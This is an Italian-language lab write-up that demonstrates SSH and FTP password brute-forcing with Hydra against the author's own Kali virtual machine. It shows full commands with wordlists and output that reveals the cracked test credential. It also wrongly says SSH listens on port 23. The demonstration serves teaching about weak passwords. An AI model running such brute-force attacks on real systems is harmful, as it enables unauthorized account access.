



Password cracking con Hydra

3-2-2023

Nell'immagine sotto vediamo come creare un nuovo profilo su Kali e successivamente attivare il demone SSH in ascolto sulla porta 23, si tratta di un servizio di shell remota che richiede un sistema di autenticazione per accedere e cripta le connessioni in entrata e uscita, questo lo rende più sicuro del padre Telnet che lavorava con dati in chiaro e senza necessariamente bisogno di accedere con nome utente e password. Con i dati giusti possiamo accedere al terminale da un altro profilo.

```
(kali@kali)-[~]
$ test_user
test_user: command not found

(kali@kali)-[~]
$ user test_user
Command 'user' not found, did you mean:
  command 'iuser' from deb ipmiutil
  command 'userv' from deb userv
  command 'users' from deb coreutils
  command 'fuser' from deb psmisc
Try: sudo apt install <deb name>

(kali@kali)-[~]
$ sudo su
(root@kali)-[/home/kali]
# sudo su -l test_user
(test_user@kali)-[~]
$ sudo service ssh start
[sudo] password for test_user:
test_user is not in the sudoers file.

(test_user@kali)-[~]
$ service ssh start
```

```
test_user@kali: ~
(kali@kali)-[~]
$ ssh test_user@10.0.2.15
The authenticity of host '10.0.2.15 (10.0.2.15)' can't be established.
ED25519 key fingerprint is SHA256:AQMv96MQyoi7CGR9KZ1zG5wilnIJLJ1CBhUQ2n/HJFI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.0.2.15' (ED25519) to the list of known hosts.
test_user@10.0.2.15's password:
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Come prima attiviamo il servizio e tentiamo di connetterci alla shell, ma questa volta con l'utilizzo di un tool modulare chiamato Hydra, e anche qui avendo la combinazione di autenticazione corretta è facile accedere.

```
(kali@kali)-[~]
$ test_user
test_user: command not found

(kali@kali)-[~]
$ user test_user
Command 'user' not found, did you mean:
  command 'iuser' from deb ipmiutil
  command 'userv' from deb userv
  command 'users' from deb coreutils
  command 'fuser' from deb psmisc
Try: sudo apt install <deb name>

(kali@kali)-[~]
$ sudo su
(root@kali)-[/home/kali]
# sudo su -l test_user
(test_user@kali)-[~]
$ sudo service ssh start
[sudo] password for test_user:
test_user is not in the sudoers file.

(test_user@kali)-[~]
$ service ssh start
```

```
kali@kali: ~
(kali@kali)-[~]
$ hydra -l test_user -p password 10.0.2.15 -t 4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
se *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:22:48
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15 login: test_user password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:22:48

(kali@kali)-[~]
$
```

In una situazione reale è più probabile che ci si trovi nella situazione di non conoscere i dati di accesso, quindi se il nostro compito è quello di scoprirli possiamo avvalerci della funzionalità di Hydra di prendere come input delle liste di dati, in questo caso una di nomi utente e l'altra di password comuni, ovviamente come ogni altro metodo basato sui attacchi a dizionario la sua efficacia è inversamente proporzionata alla complessità della password in questione.

```
(kali@kali)-[/usr/share/seclists/Passwords]
$ hydra -L user.txt -P 500-worst-passwords.txt 10.0.2.15 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
se *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:30:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 998 login tries (l:2/p:499), ~63 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[STATUS] 111.00 tries/min, 111 tries in 00:01h, 893 to do in 00:09h, 10 active
[STATUS] 73.67 tries/min, 221 tries in 00:03h, 783 to do in 00:11h, 10 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
^[[A[STATUS] 67.29 tries/min, 471 tries in 00:07h, 533 to do in 00:08h, 10 active
[22][ssh] host: 10.0.2.15 login: test_user password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:38:13
```

Per mostrare le varie potenzialità di Hydra ripropongo l'esempio di prima ma cambiando porta e servizio per dimostrare l'efficacia di questo tool e l'inefficacia di password deboli in qualsiasi caso.

```
(kali@kali)-[~]
└─$ sudo su -l test_user
[sudo] password for kali:
(kali@kali)-[~]
└─$ sudo service vsftpd start
[sudo] password for test_user:
test_user is not in the sudoers file.

(kali@kali)-[~]
└─$ service vsftpd start

(kali@kali)-[~]
└─$ service status
status: unrecognized service

(kali@kali)-[~]
└─$ service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/lib/systemd/system/vsftpd.
   Active: active (running) since Thu 2023-03-
   Process: 1895 ExecStartPre=/bin/mkdir -p /va
   Main PID: 1896 (vsftpd)
      Tasks: 1 (limit: 2287)
     Memory: 1.0M
        CPU: 5ms
    CGroup: /system.slice/vsftpd.service
            └─1896 /usr/sbin/vsftpd /etc/vsftpd

(kali@kali)-[~]
└─$
```

```
kali@kali: /usr/share/seclists/Passwords
└─$ cd /usr/share/seclists/Passwords/

(kali@kali)-[/usr/share/seclists/Passwords]
└─$ hydra -L user.txt -P 500-worst-passwords.txt 10.0.2.15 ftp -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga
ics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 10:39:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 499 login tries (l:1/p:499), ~32 tries per task
[DATA] attacking ftp://10.0.2.15:21/
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123456" - 1 of 499 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "password" - 2 of 499 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "12345678" - 3 of 499 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "1234" - 4 of 499 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "pussy" - 5 of 499 [child 4] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "12345" - 6 of 499 [child 5] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "dragon" - 7 of 499 [child 6] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "qwerty" - 8 of 499 [child 7] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "696969" - 9 of 499 [child 8] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "mustang" - 10 of 499 [child 9] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "letmein" - 11 of 499 [child 10] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "baseball" - 12 of 499 [child 11] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "master" - 13 of 499 [child 12] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "michael" - 14 of 499 [child 13] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "football" - 15 of 499 [child 14] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "shadow" - 16 of 499 [child 15] (0/0)
[21][ftp] host: 10.0.2.15 login: test_user password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 10:39:27
```